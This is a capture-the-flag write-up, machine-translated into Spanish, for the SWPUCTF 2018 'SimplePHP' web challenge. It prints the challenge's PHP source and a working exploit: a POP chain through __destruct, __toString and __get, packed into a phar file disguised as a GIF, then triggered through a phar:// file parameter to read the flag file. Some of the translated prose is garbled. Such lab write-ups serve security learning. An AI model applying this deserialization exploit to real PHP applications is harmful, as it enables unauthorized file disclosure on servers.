[SWPUCTF 2018]SimplePHP

[SWPUCTF 2018]SimplePHP

Prueba difusa

En primer lugar, esta pregunta te hará pensar que es una carga de archivos. No pasa nada, esto es solo una parte.

Después de cargar el archivo, se "arreglará".

Este proceso es relativamente difuso, por lo que se llama pozo de prueba difuso.

image-20200416104034330

El archivo encontrado contiene

En la pestaña de visualización de archivos, puedo ver? Archivo =; no hace falta decir este punto.

image-20200416104309697

Me encanta toda la regulación del código fuente. Si se produce el siguiente código fuente, omita el pozo, es bastante largo.

Primero obtenemos el contenido de file.php.

Luego obtenga function.php, class.php de acuerdo con el código fuente de file.php.

Luego obtenga base.php (o index.php que se puede entender).

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

222.90.67.205
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

Analiza el código fuente

El código fuente de la página de inicio nos dice que la inclusión del archivo definitivamente se filtrará.

Filtrado grueso de Class.php Verifique el filtrado y encontrará que f1ag.php está filtrado.

Entonces toda la pregunta no tiene unserialize (); call.

Organizar ideas

Serialización, no unserialize (), carga de archivos, el protocolo phar no se filtra.

Obviamente este es un problema de phar.

establecimiento de la cadena pop

El primero es encontrar un método mágico para hacer que la cadena se dispare.

C1e4r tiene __destruct (),

__destruct () es el método destructor en PHP. Se llama cuando se destruye el objeto, y se llama automáticamente para destruir el objeto cuando finaliza el programa.

Si se encuentra echo en la función, se debe usar echo $ this-> test.

public function __destruct()
{
        $this->test = $this->str;
        echo $this->test;
}

show class tiene __toString (),

El método __toString se llama automáticamente cuando un objeto se convierte en una cadena, como echo, y se llamará durante una operación de impresión y devolverá una cadena.

This $ this-> str ['str'] -> fuente;

public function __toString()
{
        $content = $this->str['str']->source;
        return $content;
}

La clase de prueba tiene __get ()

__get () Este método se llama cuando se accede a un atributo indefinido o un atributo que no tiene permiso de acceso.

利用 $ this-> get -> $ this-> file_get ($ value); -> base64_encode (file_get_contents ($ value));

public function __get($key)
{
		return $this->get($key);
		
}
public function get($key)
{
       if(isset($this->params[$key])) {
            $value = $this->params[$key];
		} else {
            $value = "index.php";
        }
        return $this->file_get($value);
}
public function file_get($value)
{
       $text = base64_encode(file_get_contents($value));
       return $text;
}

Entre ellos, la función file_get que llama a la función file_get_contents ($ value) es muy importante. Generalmente, puede pensar en esto como el final de la cadena emergente cuando ve file_get_contents.

public function file_get($value)
{
       $text = base64_encode(file_get_contents($value));
       return $text;
}

Se activa toda la cadena pop.

C1e4r :: destruct () -> Show :: toString () -> Test :: __ get ()。

Construye una cadena pop

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

Debido a que el sufijo phar normal está prohibido, se renombró a .gif.

image-20200416134626333

Calcular nombre de archivo

Calcular de acuerdo con la convención de nomenclatura de file.php

El nuevo nombre de archivo después del cambio de nuestro lindo exp.gif

$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
其中$_FILES["file"]["name"]=exp exp也就是咱萌上传文件的文件名,不带后缀
$_SERVER["REMOTE_ADDR"]是设定好的174.0.0.201

image-20200416135057669

O ... cuelga,

Incluso si el catálogo está abierto, ¿se puede usar directamente?

image-20200416134745690

Uso

Ingrese los siguientes parámetros en file.php. Tenga en cuenta que 8d535ac87d69bd2cd99da8e195d7f43b es el nombre del archivo que calculamos

http://c4d2bb44-61f4-4c88-989f-24843ccbae08.node3.buuoj.cn/file.php?file=phar://upload/8d535ac87d69bd2cd99da8e195d7f43b.jpg

Obtenga contenido cifrado base64

PD9waHAgDQoJLy8kYSA9ICdmbGFnezZkMWE0YTIwLTE4NjItNDExZC05Mzk5LTE0Yjg5MjdhYmYzNH0nOw0KID8 + DQoNCg ==

image-20200416135702549Descifrar

image-20200416135734308

Supongo que te gusta

Origin www.cnblogs.com/h3zh1/p/12712426.html
Recomendado
Clasificación